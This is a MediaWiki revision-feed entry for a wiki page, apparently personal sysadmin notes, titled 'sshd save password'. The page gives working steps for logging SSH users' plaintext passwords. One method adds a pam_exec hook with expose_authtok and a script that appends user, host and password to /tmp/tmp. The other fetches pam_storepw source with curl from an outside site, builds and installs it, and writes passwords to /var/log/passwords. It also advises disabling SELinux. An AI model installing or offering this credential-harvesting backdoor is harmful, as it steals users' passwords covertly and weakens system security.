https://halfface.se/wiki/index.php?action=history&feed=atom&title=Sshd
Sshd - Revision history
2026-04-19T07:28:06Z
Revision history for this page on the wiki
MediaWiki 1.43.1
https://halfface.se/wiki/index.php?title=Sshd&diff=13036&oldid=prev
Ekaanbj: /* sshd save password */
2018-11-07T07:46:43Z
<p><span class="autocomment">sshd save password</span></p>
<p><b>New page</b></p><div>=sshd save password=<br />
==pam_exec.so==<br />
/etc/pam.d/password-auth-ac<br />
#%PAM-1.0<br />
# This file is auto-generated.<br />
# User changes will be destroyed the next time authconfig is run.<br />
auth required pam_env.so<br />
auth sufficient pam_unix.so nullok try_first_pass<br />
auth optional pam_exec.so expose_authtok /usr/local/bin/pam_exec.so<br />
auth [success=1 default=ignore] pam_succeed_if.so user in ipautomata<br />
...<br />
/usr/local/bin/pam_exec.so<br />
#!/bin/sh<br />
read password<br />
echo "User: $PAM_USER" >> /tmp/tmp<br />
echo "Ruser: $PAM_RUSER" >> /tmp/tmp<br />
echo "Rhost: $PAM_RHOST" >> /tmp/tmp<br />
echo "Service: $PAM_SERVICE" >> /tmp/tmp<br />
echo "TTY: $PAM_TTY" >> /tmp/tmp<br />
echo "Password : $password" >> /tmp/tmp<br />
exit $?<br />
<br />
==pam_storepw.so==<br />
Download source code for module.<br />
curl -sk -O http://www.adeptus-mechanicus.com/codex/logsshp/chng-pam_storepw.c<br />
Create the following Makefile<br />
all: pam_storepw.so<br />
<br />
pam_storepw.so: pam_storepw.o<br />
$(LD) --shared -o $@ $< -lpam -lpam_misc<br />
<br />
clean:<br />
rm -f pam_storepw.o pam_storepw.so core *~<br />
<br />
extraclean: clean<br />
rm -f *.a *.o *.so *.bak<br />
<br />
.c.o:<br />
$(CC) $(CFLAGS) -c $< -o $@ -fPIC<br />
<br />
Build file<br />
make<br />
<br />
Copy file<br />
cp pam_storepw.so /lib64/security/<br />
chmod 755 /lib64/security/pam_storepw.so<br />
<br />
password-auth-ac <br />
#%PAM-1.0<br />
# This file is auto-generated.<br />
# User changes will be destroyed the next time authconfig is run.<br />
auth required pam_env.so<br />
auth sufficient pam_unix.so nullok try_first_pass<br />
auth optional pam_storepw.so<br />
auth [success=1 default=ignore] pam_succeed_if.so user in ipautomata<br />
...<br />
Passwords start to be written to<br />
/var/log/passwords<br />
If you do not get any entries.<br />
Temporarily turn selinux off to see if it starts to work<br />
run pam in debug to see what is going on.</div>
Ekaanbj